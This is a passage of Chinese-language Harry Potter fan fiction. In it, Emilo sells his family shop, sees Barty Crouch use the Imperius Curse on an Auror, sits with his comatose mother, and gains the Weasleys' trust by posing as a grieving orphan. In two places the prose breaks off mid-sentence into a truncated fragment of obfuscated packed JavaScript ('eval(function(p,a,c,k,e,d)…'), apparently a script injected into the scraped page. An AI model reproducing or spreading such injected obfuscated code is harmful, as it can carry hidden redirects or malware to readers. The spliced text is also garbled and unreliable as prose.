埃米洛也收到了圣芒戈的猫头鹰信。信上说普通病房不够了,艾莲娜必须转去更贵的加护病房,要不就是转院。后面跟着的一张长长的账单,埃米洛对着那些数字加加减减,心里第一反应竟然是还好,没大到德蒙特先生的烂摊子那样大。 他不得不把家里的店铺租出去,但合适的卖家太难找,每个人的笑容都是冰冷的,带着公式化的假意同情。 门轴刺耳的呻吟声响起,古灵阁的妖精代理人——一个穿着过分考究、指尖捻着一枚金加隆、眼神精明得像能称量灵魂重量的家伙——推门走了出来,脸上挂着程式化的、毫无温度的笑容。 “埃米洛先生,考虑得怎么样了?暂时收归古灵阁,很合理的价格,毕竟地段……”妖精代理人的声音在空荡死寂的巷子里显得格外刺耳,他瞥了一眼冷清得如同坟场的街道,那“地段优势”的说辞显得无比讽刺。 放在三年前你们可不会这么说。埃米洛心里冷笑。 他的目光落在店内。灰尘在微弱的光线下飞舞,覆盖着那些曾经被精心擦拭、摆放的旧书和小玩意儿。货架上,一个他曾经很喜欢、会发出微弱星光的玻璃球,如今也黯淡无光,像一颗死去的星星。 他忽然觉得自己总是在“滞后怀念”,他可以劝莱姆斯三思,不要顾及过往的友谊。但他和艾莲娜,和罗杰的关系,也不全是充满着爱与信任的。但已经死去的家庭阴影还是笼罩着他,让他无可逃脱,无可逃离……让他怀念,又让他痛苦。 “直接卖掉,不出租了。”埃米洛的声音干涩,却异常清晰,打断妖精代理人滔滔不绝的“合理”分析。 妖精的笑容绽开了一个更大的弧度:“直接卖?德蒙特先生,您可想清楚。现在这行情,可真是不好哟……” “我说了,直接卖。”埃米洛重复道,不给自己任何回旋的余地。他甚至没有去看那张所谓的“新租约”。现在出租能拿到的租金和直接卖出去放在古灵阁里的利率也差不多。那些人只是觉得他还是学生,所以蒙骗他,但是……卖出去,相当于真的彻底不见了。 早就是一颗必须切掉的毒瘤了。他对自己说。任何声音在空旷的店里显得异常响亮,心声也是。但周围太精了,所以不论多大的声音都会迅速被死寂吞没。他开始理解梅多斯老师说的话,每一声再见都是剜掉自己生命的一部分。钝痛感沉甸甸地压在胸口,每一次呼吸都带着铁锈般的腥气。 五年。他对自己说,五年之后,我会重新把这个家买回来,那时候……那时候会比现在好得多。 他把手里那张冰冷的涨租通知揉成一团,看也没看,直接扔进了旁边一个积满灰尘、早已废弃的坩埚里。那团纸无声地落下,像一块无足轻重的垃圾。身影融进夜色之中,挥舞魔杖,“啪——”的一声消失了。 ---- “等一下!等一下——!” 魔法部那部老旧的青铜电梯发出刺耳的、仿佛随时要散架的呻吟,门缝正在缓慢而坚决地合拢。里面早已塞得像一罐即将爆炸的沙丁鱼,汗味、羊皮纸味和各种早餐食物的气味混杂在一起,令人窒息。埃米洛被身后一股大力推搡着,踉跄着退到了电梯最逼仄的角落,冰冷的金属壁硌着他的肩胛骨。他昨晚被混乱的噩梦反复侵扰,几乎没怎么合眼,今早更是破天荒地差点睡过头——后果就是面临现在的状况,巫师世界也逃不过踩点上班的宿命。 就在电梯门即将彻底关闭的最后一秒,一只骨节分明的手猛地伸了进来,卡住了门缝! “谢天谢地,赶上了!”一个气喘吁吁、带着庆幸的声音响起。 一个有着浓密火红色头发、面容温和的男巫师侧身挤了进来。他那身上穿着明显是手织的、有些起球的栗色毛衣,在电梯里一众黑色或深色长袍中显得格格不入。但本人却没有一丝尴尬——他一边用袖子擦着额角并不存在的汗,一边迅速环顾电梯内拥挤的空间。 “谢谢……哦!好小伙子,早上好!”他那双友善的蓝眼睛在人群中扫视,最终定格在埃米洛身上,脸上立刻绽开一个真诚、毫无保留的笑容。 “吃早餐了吗?我这里有牛肉三明治……我像你这么大的时候总是忘记吃早餐……” “韦斯莱先生。”埃米洛微微颔首,礼貌但疏离。他努力在狭小的空间里调整姿势,避开旁边一位女巫尖锐的肘部。“谢谢您,我吃过了。” “哦!一顿美好的早餐开启愉悦的早晨……早上好,金斯莱!”亚瑟又转向电梯另一侧,向一个高大魁梧的身影打招呼。那人几乎占据了电梯一角的空间,深色的皮肤在灯光下泛着健康的光泽,穿着剪裁精良、象征身份的傲罗长袍,耳垂上戴着一枚小巧却耀眼的金色耳环,整个人散发着一种沉静而强大的气场。 “亚瑟。”对方沉稳地点了点头,声音低沉而富有磁性。 金斯莱·沙克尔。这个名字在埃米洛脑中闪过。与多卡斯同届的精英傲罗,传闻中的无声咒大师,擅长伪装和追踪,更是傲罗办公室中凤毛麟角的斯莱特林……很有能力的一位,却因为特殊时期,学院的问题在部里的名声不太好,埃米洛昨天刚帮忙处理了一份拒绝同意他升职的文件。 “我听说大桥事件你也去了,”亚瑟的声音压低了,脸上的笑容被浓重的忧虑取代,他凑近金斯莱,“怎么样?伤亡情况……” “比预言家日报上写的还糟。”金斯莱的眉头几不可查地蹙了一下,他微微侧头,手指划出了一个远比报纸上触目惊心的数字。 “最近还是尽量不要单独出门,”他补充道,语气是职业性提醒:“尤其是你家,珀西刚出生不是?我改天去看看他……莫莉和其他孩子们都还好吗?”提到孩子时,他那刚硬的眼神似乎柔和了一瞬。 “哦……都好,都好。”亚瑟脸上重新浮现出那种明亮、带着家庭温暖的微笑,那冰冷的数字带来的阴霾被暂时驱散,“我们最近大扫除还有个意外发现呢!从一本落满灰的古书里,找到一个挺有用的血缘追踪魔法。我琢磨着,或许能把它做成一个挂钟……哦!我的楼层到了!”电梯发出清脆的“叮”声,门缓缓打开,外面是禁止滥用麻瓜物品司的标牌。 “再见金斯莱!再见,好小伙!”他匆匆挤出电梯,还不忘回头朝埃米洛热情地喊了一句,“希望我家比尔以后也能像你一样优秀!” 血缘追踪魔法……埃米洛心中一动。小天狼星曾经在宿舍里带着不屑提起过布莱克家的族谱挂毯,他和安多米达的名字是如何被那代表除名的火焰烧成灰烬,意味着永远被家族放逐,失去继承权……埃米洛对金斯莱微微点头致意,随着人流沉默地走出电梯。 他快步走向实习生办公室。伯莎今年凭借优异的NEWTs成绩顺利转正,去了下面一层的办公室;亚克斯利也毕业了,被家族长辈运作调去了其他的部门镀金。如今,这里只剩下他和阿米莉亚。 实习生办公室紧邻着傲罗指挥部。傲罗指挥部名义上隶属于魔法法律执行司,但两者的关系更像互相监视、互相制衡的独立山头。埃米洛的手刚搭上实习生办公室那扇并不隔音的木门把手,一股不同寻常的紧张气息便扑面而来。 门内,阿米莉亚正站在她自己的办公桌旁,背脊挺得笔直。看到埃米洛进来,她立刻竖起一根手指压在嘴唇上,眼神里充满了强烈的警告和一丝不易察觉的惊恐,目光急切地瞟向那扇紧闭的、通往傲罗指挥部内室的门。 隔壁的怒吼声如同被压抑的雷霆,穿透了门板: “我绝不会签字的——!克劳奇,你他妈别想着我会同意——!” 是阿拉斯托·穆迪的声音。一个以铁血、固执、警惕到近乎偏执闻名的传奇傲罗。他的声音嘶哑,带着燃烧的怒火和一种近乎悲壮的固执。 “非常时期,阿拉斯托!你觉得我是在跟你开玩笑么?!”巴蒂·克劳奇的声音紧随其后,冰冷、强硬,像淬了火的钢鞭,带着不容置疑的权威和一种被挑战的愠怒。每一个音节都敲打在听者的神经上。 “我再说最后一遍!不可饶恕咒是——邪恶的!你黑魔法防御课学到狗肚子里去了?!我决不允许——用这种肮脏的手段!”穆迪的咆哮几乎要将屋顶掀翻,伴随着沉重的、可能是他那只木腿重重顿地的声音。 “埃米洛!别!”阿米莉亚的声音压得极低,她惊恐地发现自己的这位同龄人径直走向了那扇连通的门!他甚至……胆大包天地将门推开了一条细小的缝隙! 埃米洛将眼睛凑近那条缝隙。傲罗指挥部的核心会议室里气氛凝重得能滴出水来。大约十来个身影围在长桌旁,都是傲罗办公室的骨干和资深人物,每个人的脸上都写满了凝重、挣扎或愤怒。穆迪标志性的魔眼此刻正以令人眩晕的速度疯狂转动着,几乎在埃米洛窥视的同一瞬间,那只诡异的蓝眼球猛地锁定了他!冰冷的、非人的视线隔着门缝与埃米洛的目光直直撞上!空气仿佛凝固了两秒。然而,出乎意料的是,穆迪并没有管他,那只正常的眼睛依旧死死瞪着克劳奇,继续着他的咆哮,声音甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……他们选择了穿上这身袍子,拿起魔杖对抗最黑暗的势力时,就已经做好了付出一切、包括灵魂的准备!”克劳奇厉声反驳,他向前一步,目光如鹰隼般扫过在场的每一个人,最后重新钉在穆迪脸上,带着一种近乎残酷的逼迫,“如果你愿意第一个在授权书上签字,愿意亲自承担起使用它的责任,愿意为所有人做出表率……那他们,为什么不可以?!” “你行吗,克劳奇?!你行吗?!”穆迪冷笑。 “我……”克劳奇的声音依然强硬,但尾音里却泄露出一丝极其细微的、连他自己可能都未察觉的犹豫。 埃米洛转换了一只扶着门板的手,把身子拉离了门两公分。 下一秒,克劳奇的动作快如闪电!他猛地抽出魔杖,没有丝毫预兆地指向长桌旁一个戴着眼镜、面容敦厚的棕发傲罗: “魂魄出窍(Imperio)!” 咒语冰冷而清晰,不带一丝情感。 “伯恩斯!——不!”一个惊骇欲绝的声音尖叫道。 本来在旁边观望的阿米莉亚几乎是滑跪着扑到了埃米洛脚边的门缝前,双手死死捂住自己的嘴,眼睛因极度的恐惧和担忧而睁得滚圆,和他一起死死盯着门内。 埃德加·伯恩斯猛地从椅子上站了起来,动作僵硬得像提线木偶。他的脸上瞬间失去了所有表情,眼神空洞茫然,喉咙里发出意义不明的“呃——”的一声痛苦呻吟。他像被无形的线牵引着,动作迟滞却目标明确地朝着房间那扇巨大的、敞开的窗户走去!那里离地面有几十英尺! “够了——!”穆迪目眦欲裂,怒吼着扑向克劳奇,试图抢夺他手中的魔杖。 千钧一发之际,走向窗台的埃德加·伯恩斯身体猛地一震!他空洞的眼神里爆发出惊人的意志力!只见他狠狠地将自己的下唇咬烂,鲜血瞬间涌出,顺着他的下巴蜿蜒滑落,滴在他深色的傲罗长袍前襟上,留下刺目的暗红印记。剧痛和强大的意志力瞬间冲破了夺魂咒的控制!他踉跄了一下,眼神恢复了清明,带着劫后余生的惊恐和后怕,大口喘着粗气。 办公室里一片死寂。 “知道我在恨什么吗?!”克劳奇的声音再次响起,他缓缓地扫视着办公室里每一个面色各异的人,目光厚重无比。“我和我夫人……我们本应该有两个孩子的——”他刻意停顿了一下,让这句话带来的沉重感弥漫开来,像冰冷的铅块压在每个人心头,“在座的各位……你们告诉我,谁没有失去过?谁的家没有被阴影笼罩?谁的家庭本应该比现在更幸福、更完整?!”他的声音陡然拔高,带着一种煽动人心的力量,眼中爆射出凌厉的精光,“从米里森那个蠢货上任以来……这两年情况越来越糟!对角巷的屠杀声还在耳边!大桥断裂的轰鸣犹在眼前!各位猜猜看——下一个目标,会不会就是我们脚下的魔法部?!” 他猛地一拍桌子,震得桌上的墨水瓶都跳了起来:“现在不是懦弱的时候!不是抱着陈腐教条等死的时候!各位——我们不能因噎废食!不能因为害怕弄脏自己的手,就放任那些魔鬼用最肮脏的武器屠杀我们的同胞、摧毁我们的一切!” “……你们不签也没关系……我会辞去职务,下次我们相见可能就是阿兹卡班,那时候你们也不用叫我司长了。” “……我……我签!”一只手臂猛地从人群中举起,声音激动得有些变调,“我支持你!克劳奇司长!我也恨透了他们!早就该这么干了!” “我也签!”另一个略显沉稳但同样坚定的声音响起,“但我们必须立刻、马上制定最严格、最周密的后备方案和监督机制!这绝不是小事!每一个使用记录都必须有据可查,每一次授权都必须经过最严格的审查!否则,我们和食死徒的区别在哪里?” “对!方案必须详细……” “同意,我可以负责……” …… 门内,激烈的争论转向了具体操作的层面,那令人窒息的、关于灵魂与暴力的直接对峙似乎暂时被搁置了。 埃米洛轻轻地将那扇被推开一丝缝隙的门无声地合拢。阿米莉亚一把抓住他的手,依旧担忧、含着泪光的眼睛正紧张地盯着那扇门,仿佛担心下一秒她的叔叔埃德加又会被什么咒语击中。 “你叔叔没事了。”埃米洛的声音平静得没有一丝波澜,仿佛刚才目睹的一切只是寻常的文书争论。他安抚的拍了拍阿米莉亚的肩膀,随后面无表情地关紧了门,将那场关于战争残酷选择的争论彻底隔绝在身后。 14.一辆旧汽车 “德蒙特先生,你母亲的情况……有些令人鼓舞的变化。”主治医生西格斯捏了捏鼻梁,试图驱散倦意,“昨天,还有前天……我们观察到她的眼球在眼皮下有明显的转动,手指也有轻微的动作。这通常意味着意识的边缘在活动,是个积极的信号。”他顿了顿,目光落在埃米洛的脸上,“……你可以多跟她说说话,熟悉的声音、情感的联系……这些刺激对唤醒她的意识很有帮助。” 冰冷的消毒水气味顽固地盘踞在圣芒戈医院五楼加护病房区的空气里,混合着草药魔药特有的苦涩和一丝挥之不去的、绝望的气息。走廊比以往更加拥挤,临时加设的病床沿着墙壁延伸,痛苦的呻吟和家属压抑的啜泣交织成令人窒息的背景音。 “谢谢医生。”埃米洛的声音平稳,目光越过西格斯的肩膀,投向走廊尽头母亲所在的病房门。 “我还有病人要看。”西格斯叹了口气,“别太悲观,希望很大。” 埃米洛微微颔首,看着医生略显佝偻的背影匆匆消失在另一间病房门口。他推开母亲的病房门,里面相对安静些,但隔壁床家属低低的啜泣声依然清晰可闻。艾莲娜躺在那里,面容苍白而平静,仿佛只是睡着了。昂贵的生命维持魔药通过细细的管子流入她的身体。埃米洛在床边的椅子上坐下,动作有些僵硬。他伸出手,迟疑了一下,最终还是轻轻握住了艾莲娜那只没有插管的手。冰冷,干燥,像握住了一块失去温度的玉石。 他俯下身,将自己的额头抵在母亲的手背上。冰冷的触感顺着额骨蔓延开。然后,一如既往的——无话可说。 “……怎么办啊,爸……”隔壁床传来压抑的、带着哭腔的年轻女声,“魔法部也疯了……他们批准了那些……那些伤害你的咒语……所有人都疯了……这世界到底是怎么了……” 埃米洛直起身。走到窗户前,拉开窗子。凉风让他的大脑清醒了一瞬。那些咒语……阿瓦达索命、钻心剜骨、夺魂咒……它们现在可以名正言顺地由傲罗使用了。预言家日报一公布这个消息,社会上就飞快的分成了两派,极致的支持,极致的反对,但现在支持声浪已经盖过了反对的。尤其是随着阿兹卡班新关进去几个食死徒之后。“以暴制暴”、“必要之恶”的论调开始传递在巫师之间。 但事实真的那么好吗?他看向下面医院的草坪——患者越来越多了。这些人……真的都是被食死徒攻击的吗?“误伤”又有多少?就像米里森那时候买通预言家日报,现在这些消息也被封锁,没有人主动提起。 天空灰蒙蒙的,像一块脏兮兮的抹布。 他走回艾莲娜床边。弯下腰,仔细地、给她把碎发拨开,然后有些过分用力地替母亲掖了掖被角。 “……妈,”他终于从喉咙里挤出这个字,声音低哑得几乎听不见,带着一种陌生的艰涩和……笨拙。 “我卖掉了店铺。”,以及我明天再来看你。他在心里说道。 他又等了一会儿,眼神滑过一丝失望,然后直起身,准备抽离—— 艾莲娜苍白的嘴唇,极其轻微地动了一下。 埃米洛的身体瞬间僵住,血液仿佛在那一刻凝固了。他几乎是剧烈的颤抖了一下,心脏在胸腔里狂跳起来,几乎要撞碎肋骨。 不是幻觉?他猛地俯下身,凑得极近,眼睛死死盯住母亲的双唇,鼻尖几乎要碰到她的脸颊。他调动起全部感官,整个世界只剩下那两片没有血色的唇瓣。 一下……极其微弱的颤动。 两下……幅度似乎更大了一点点。 埃米洛的指尖不受控制地颤抖起来。他连呼吸都停滞了,全身的血液都涌向了大脑,耳朵里只剩下自己震耳欲聋的心跳声和仪器单调的嘀嗒。 说什么……她在说什么?他在心里无声地嘶喊,所有的期待、恐惧、长久压抑的情感都凝聚在这无声的注视中。 那嘴唇又极其缓慢地翕动了一次,极其费力地试图形成一个音节。一个模糊的、几乎无声的呼气。 “R……” 埃米洛的瞳孔骤然收缩。他维持着那个俯身的姿势,仿佛石化了一般。时间在那一刻被无限拉长。 半晌,他极其缓慢地、一寸寸地直起身。脸上的表情像是凝固的石膏,所有的激动、期待都在瞬间褪去,只剩下一种深不见底的、复杂难辨的晦涩。 他知道了。艾莲娜在叫人。 她在叫“罗杰”(Roger)。 她在叫那个失踪的、留下巨大烂摊子的、不负责任的父亲。 埃米洛最后看了一眼病床上无知无觉的母亲,没有任何多余的动作,转身,脚步异常平稳地走出了病房,轻轻带上了门。走廊里压抑的哭声和消毒水的气味再次将他吞没,只感受到了指甲刺入手心里尖锐的疼痛。 ------- “哦……埃米洛,好小伙子。”亚瑟的声音带着一种近乎梦呓的痴迷,他完全被眼前的景象攫住了心神——一辆锈迹斑斑、顶棚被砸得凹陷变形的安格利亚汽车,像一头受伤的钢铁巨兽,静静地趴在废品站杂乱肮脏的空地上。阳光照射在残破的车漆上,反射出刺眼而怪异的光泽。 他们两个围着这辆饱经沧桑的汽车缓慢地转着圈。亚瑟的手指小心翼翼地拂过冰冷粗糙的车门边缘,划过布满蛛网裂纹的挡风玻璃,最后停在扭曲变形的引擎盖上,动作轻柔得仿佛在抚摸一件稀世珍宝。眼中闪烁的、孩子般纯粹的兴奋。 “这真是太棒了——”亚瑟再次忍不住感叹,声音因为激动而微微发颤,“瞧瞧这线条!麻瓜的工程学……真是不可思议的实用美学!”他弯下腰,试图透过破碎的车窗看清内部的结构,鼻尖几乎要碰到玻璃上的灰尘。 “这是我应该做的,韦斯莱先生。”埃米洛站在稍后一步的位置,声音平稳,带着恰到好处的谦逊。他的目光像精密的探针,不动声色地扫描着亚瑟脸上每一丝细微的表情变化—— “这家废品站原来跟我们家有些旧交情,他们清理库存时发现了这个,当时它被施了咒语到处乱撞,就写信通知了我。”他顿了顿,语气自然地带上了一点无奈,“您也知道,现在部里忙得焦头烂额,特别是大桥事件之后,仓库都塞满了,处理这些‘被施了法’的麻瓜物品的审批流程……简直长得看不到头。” 他巧妙地加重了“审批流程”这个词,“所以我就自作主张,直接联系了您。很抱歉给您增添额外的工作量了,如果您觉得不合适……” “不不不!”亚瑟猛地直起身,连连摆手。他象征性地轻轻咳嗽了一声,努力想摆出一副公事公办的态度,但眼中的光芒出卖了他,“你……嗯,你做得非常好!非常正确!这点小事怎么能动用宝贵的部里资源呢?”他语速飞快,仿佛生怕埃米洛反悔,“现在魔法部的仓库都被大桥废墟里的破烂堆满啦!人手根本不够!所以,我来处理就好,完全没问题!下次,埃米洛,下次你要是再发现什么……嗯,需要‘妥善处理’的麻瓜产品,一定随时找我!我这边流程快!”他拍着胸脯保证,眼神却忍不住又瞟向那辆破车,嘴角抑制不住地上扬。 埃米洛适时地露出一个局促又带着点感激的笑容,微微垂下眼睑:“那就麻烦您了,韦斯莱先生。” “哦!不麻烦……一点都不麻烦……”亚瑟连连说着,心思显然已经完全被那辆车占据。他围着车又转了小半圈,忽然想起什么似的,转头问道:“对了,你刚才说,这家废品站和你们家有合作?” “是啊,”埃米洛脸上的笑容消失了,他飞快地转换了表情,眉宇间笼罩上一层沉重的阴霾,声音也低沉了几分,“但现在……没有了。” 他微微垂下头,肩膀似乎也塌陷了一点,整个人散发出一种被巨大悲伤击中的脆弱感,“我们家……是对角巷那次的……受害者。”最后几个字,他说得很轻,带着一丝不易察觉的哽咽,恰到好处地停住,留给人想象的空白。 “哦!梅林的胡子……好孩子。”亚瑟脸上的兴奋瞬间被真切的同情取代。他大步上前,毫不犹豫地给了埃米洛一个结实的、带着尘土和汗水味道的拥抱,手掌用力地拍了拍他的后背,声音充满了安抚,“不用说了,我明白了,我都明白了。” 一股闷热的风卷过废品场,带来了机油、腐烂垃圾和铁锈混合的刺鼻气味。 “……这里真不是个说话的好地方,”亚瑟松开埃米洛,皱着眉环顾了一下四周,随即脸上又绽开热情的笑容,“来吧,孩子!我邀请你来我家做客!我太太莫莉的手艺,那可是一绝!保证让你尝尝家的味道!来吧!” “不用了,韦斯莱先生,这太麻烦您和夫人了……”埃米洛连忙推辞,语气真诚。 “怎么能说麻烦呢?走走走!”亚瑟不由分说地抓住埃米洛的手臂,力气大得出奇,“学幻影移形了么?来,握住我的手,别怕,很稳的!” …… 一阵令人窒息的挤压感后,他们出现在一栋极具视觉冲击力的建筑前。它歪歪扭扭地矗立着,像几层大小不一的盒子被顽童随意地摞在一起,越往上越歪斜得厉害,仿佛下一秒就会倾倒。红色的瓦片在阳光下显得鲜艳而温暖,擦得锃亮的窗户反射着耀眼的光芒。几只肥硕的母鸡在篱笆边悠闲地啄食。 “哦!又来了!”亚瑟眼疾手快,从旁边疯长的胡萝卜缨子里猛地揪出一只挣扎尖叫的、皮肤疙疙瘩瘩的小地精,手臂熟练地抡圆了,“走你——!”地精化作一道抛物线,消失在远处的树篱后。 “我们准备自己养一窝鸡,”亚瑟拍掉手上的泥土,对埃米洛解释道:“现在物价飞涨得吓人,战争嘛……莫莉!亲爱的!”他朝那扇木门喊道,声音洪亮,“快来看我带回来什么好东西!还有客人!” “亚瑟?你回来了!”一个穿着印花围裙、身材微胖但行动利落的妇人应声推门而出。她红润的脸上洋溢着温暖的笑容,那笑容和亚瑟如出一辙的真诚热情,带着厨房里飘出的、令人心安的食物香气。“这位是?” “这是埃米洛·德蒙特,我们部里新来的实习生,去年就在了!能干得很!也是我们格兰芬多的学弟,今年开学就七年级了。”亚瑟介绍道。“莫莉,我的太太。”他又转向埃米洛。 “欢迎你,亲爱的!快进来坐!”莫莉·韦斯莱热情地招呼着,眼神温暖而友善,想要去搭他的肩膀,半途中收回了手。 就在这时,一个火红的小脑袋像炮弹一样从莫莉身后冲了出来。那是个约莫七八岁的男孩,头发留得比一般男孩长,齐肩的红发随意地束在脑后,脖子上挂着一串用尖牙(像是某种神奇生物的乳牙)串成的项链,整个人透着一股小孩子的“酷”劲儿。 “爸爸!你回来啦!”他冲到亚瑟身边,眼睛却好奇地打量着陌生的埃米洛。 “这是比尔,我的大儿子。”亚瑟揉了揉比尔的头发,后者不满地晃了晃脑袋。 “你好。”比尔仰起头,毫不怯场地直视着埃米洛,甚至像模像样地伸出了手,声音带着点小大人的腔调:“我是比尔·韦斯莱。这么说你也是魔法部的? “我爸爸总想让我以后去那儿坐办公室,”他撇了撇嘴,露出一个“那太无聊了”的表情,“但我会找到更酷的职业!比如古灵阁的解咒员,魁地奇运动员,或者龙类研究员!”他挺起小胸脯,尖牙项链随着他的动作晃了晃。 “哦……”亚瑟因为儿子直白的“职业规划”显得有些尴尬,他干笑两声,连忙打圆场,“先进来,快进来,外面晒。” 室内和室外一样,拥挤得几乎令人喘不过气,却充满了鲜活滚烫的生活气息。狭窄的楼梯和过道如同迷宫,被旧坩埚、空猫头鹰笼子、打着补丁的斗篷、封面卷曲发霉的咒语书等等杂物塞得满满当当。墙壁是各种信息的拼贴画:发黄的《预言家日报》剪报(多半是关于魁地奇或厨艺大赛)、莫莉手写的菜谱(字迹圆润)、魔法部的紧急通知单(被一颗图钉歪歪扭扭地钉着)……一切都显得杂乱无章,却又奇异地透着家的温馨。 “不好意思啊,埃米洛,”亚瑟费力地在杂物堆里给埃米洛拉出一把看起来还算结实的木凳,“最近在收拾家,有点乱……”他话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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亚瑟笑着摇摇头,从埃米洛怀里小心地接回珀西,顺手拿起旁边温着的奶瓶:“你自己先随便逛逛吧,埃米洛。不过,”他压低声音,带着点神秘的警告,“最好不要去阁楼……那里住着一只脾气不太好的食尸鬼,我们……呃……达成了某种互不侵犯的协议。” 埃米洛如蒙大赦,暗暗松了口气。他小心地避开地上的玩具(一个会自己乱跳的锡兵,一只缺了耳朵的毛绒蒲绒绒),在拥挤但还算干净的客厅里慢慢踱步。破旧却厚实的扶手椅、磨损严重的沙发、堆满毛线和编织针的篮子……每一个角落都诉说着这个家庭的热闹与温暖。 他的目光最终停在了壁炉上方。那里挂着一个巨大的、奇特的钟。这就是上次在电梯里提到的……血缘追踪魔法做成的挂钟?埃米洛眯起眼睛仔细看去。钟盘上没有数字,取而代之的是一个个地名或状态:“家”、“学校”、“工作”、“路上”、“生命危险”、“失踪”、“医院”、“监狱”……而指向这些状态的指针,赫然是每一个家庭成员小小的魔法肖像!此刻,所有的指针都安稳地指向“家”。 我需要这个。一个清晰冷静的念头在埃米洛脑海中成型,哪怕不够精确,但可以定位到具体坐标,知道大致状态……他的指尖无意识地轻轻摩挲着壁炉架上粗糙的木纹。 厨房里传来锅碗瓢盆的碰撞声和夫妻俩压低声音的交谈。小珀西躺在摇篮里,吮吸着奶瓶,大眼睛却依旧好奇地追随着埃米洛的身影。 埃米洛不动声色地朝厨房门口挪近了几步,将自己隐在墙壁的阴影里。 “亚瑟·韦斯莱!你怎么能随随便便就把部里的人带回家来呢?!”是莫莉刻意压低的、带着责备和担忧的声音。 “嘿,莫莉,小声点!”亚瑟的声音也压得很低,带着点辩解,“埃米洛那小子绝对不会有问题的!他今天可是帮了我一个大忙!你知道么?我终于要有一辆属于自己的汽车了!麻瓜们的汽车!梅林啊,我做梦都想拆开看看里面……” “一辆汽车!我看你是被那堆破铜烂铁糊住了脑子!”莫莉的声音带着后怕的颤抖,“一辆汽车就把你收买了?不怕一万就怕万一……你不知道现在外面有多乱吗?……吉迪翁他前两天刚失去了一只耳朵!就是被那些……那些人……用了复方汤剂冒充他弟弟接近他!”她的尾音染上了一丝恐惧的哽咽。 厨房里沉默了片刻,只有炉火噼啪的轻响和锅里的咕嘟声。 “我知道……莫莉,我知道……”亚瑟的声音低沉下来,充满了疲惫和无奈,“但埃米洛……他真的是个好小伙子。”他重重地叹息一声,仿佛在说服自己,“那孩子跟我提起,他家原来在对角巷……”后面的话语变得极其模糊,埃米洛几乎听不清,但他能想象到亚瑟一定是做了个手势——令人心照不宣的手势。 “……梅林保佑……”莫莉发出一声长长的、充满同情的叹息,声音柔和了许多,“他才17岁……可怜的孩子……”埃米洛知道,这位善良而坚韧的夫人,此刻已经接纳了他。 亚瑟·韦斯莱。埃米洛在心底无形的档案上冷静地添上几笔:格兰芬多毕业,就职于禁止滥用麻瓜物品司。性格热情,富有同情心,易于轻信,对麻瓜物品有强烈痴迷。因私自截留(或“处理”)收缴物品,导致“办事不利”评价,数次被主管压下升职推荐。现在看来家庭观念重,是好父亲、好丈夫。妻子莫莉同样善良,警惕性稍高但易被情感打动……维持“脆弱无助的战争孤儿”人设,是获取他们信任、降低戒心的最优策略。 他再次悄无声息地远离了厨房门口,重新踱步到小珀西的摇篮边。摇篮里的小家伙似乎已经吃饱喝足,正满足地挥舞着小拳头,看到埃米洛走近,又咯咯地笑起来,伸出小手朝着他的方向抓挠。 埃米洛犹豫了片刻,最终还是伸出手指,试探性地递到那只小手边。小珀西立刻用柔软而有力的手指,紧紧地攥住了他的指尖,温暖而真实的触感传来。埃米洛垂下眼帘,看着那双纯净无垢的蓝眼睛,长长的呼出一口气。 15.一身新衣服 “【**】让【***】变得‘可被接受’。当他说‘推倒这堵墙!’时,人们联想到的是【 】英雄;而【**】握着癌症儿童的手时,他们就成了有温度的人类。这种配合削弱了我们对极端保守政策的批判效力。” ——Man of the House,1987 艾莲娜自上次那声“L……”之后便再次陷入了沉睡。埃米洛的生活被精准切割成三块:圣芒戈、陋居、魔法部。他开始习惯性地在快下班的时候接到韦斯莱先生的邀约,然后随他幻影移形到韦斯莱家。 晚餐的时候他们会讨论部里一些新政策和工作,然后在莫莉“不要在餐桌上谈论工作了。”的声音中停止。晚餐后,他会带着比尔和查理的央求声中带着他们去后面的山谷飞一圈。 最初,他怀里抱着兴奋尖叫的比尔,比尔怀里再圈着更小的查理,三个人一起俯瞰着陋居歪斜的红屋顶和远处田野的绿色褶皱,成了他一天中为数不多能感受到些许松弛的时刻。直到有一次,比尔在高速俯冲时教唆着才四岁的查理向下探头,查理咯咯的笑声和骤然失重的感觉让埃米洛的心脏几乎停跳。从那以后,飞行变成了更谨慎的模式:查理在前,比尔在后,紧紧环抱着他的腰。两个孩子热烘烘的体温和头发上沾染的青草气息贴着他,一种陌生的、带着钝痛的暖意随之传来。 亚瑟在屋子里捣鼓钟表的时候不会避着他。甚至会跟他讨论这个——“你以后也会有自己的家,这战争不知道要持续多久呢,”亚瑟头也不抬地说,魔杖尖端流淌出金色的细线,融入钟盘,“有个这东西,心里踏实。” 埃米洛靠在壁炉边,目光落在玩耍的比尔和试图在熟睡珀西脸上画胡子的查理身上。 我不会有自己的家庭了。他默默的想,但我要找到那个不配拥有家庭的人。他目光扫过亚瑟的动作,默默记下每一个细节。同时,他眼角的余光捕捉到比尔偷偷举起的蜡笔,“不可以画弟弟的脸,比尔。”他提醒道,亚瑟和莫莉欣慰的看着他们的互动。 周末是属于圣芒戈的。西格斯医生在得知艾莲娜曾尝试说话后,眼中更加燃起一丝希望的火花。他是一位真正用心的治疗师,即使眼底的乌青浓得化不开,也会根据艾莲娜细微的生命体征调整魔药的配方。这份敬业,让实习治疗师们叫苦连天。 “德蒙特先生!实在抱歉!我真的忙不过来了!”一个满脸倦容、头发凌乱的年轻治疗师像阵风一样冲过来,把一张魔药单子塞进埃米洛手里,语速快得像要咬到舌头,“左边再左边直走顶头右拐,魔药储藏室!你自己去取一下,然后回来找我!对了!先去挂号台斯特劳女士那里缴费!——” 话音未落,人已消失在另一条走廊的拐角。 埃米洛捏着单子去缴费,返回时,通向魔药室的走廊已水泄不通。人群像被无形的磁石吸引,伸长了脖子,窃窃私语汇成嗡嗡的背景音,压过了远处病痛的呻吟。埃米洛皱着眉,费力地在人缝中穿行。 “请问发生了什么?”他拍了拍前面一个踮着脚的男巫肩膀。 “克劳奇夫人来了!”对方头也没回,声音带着一丝看热闹的兴奋。 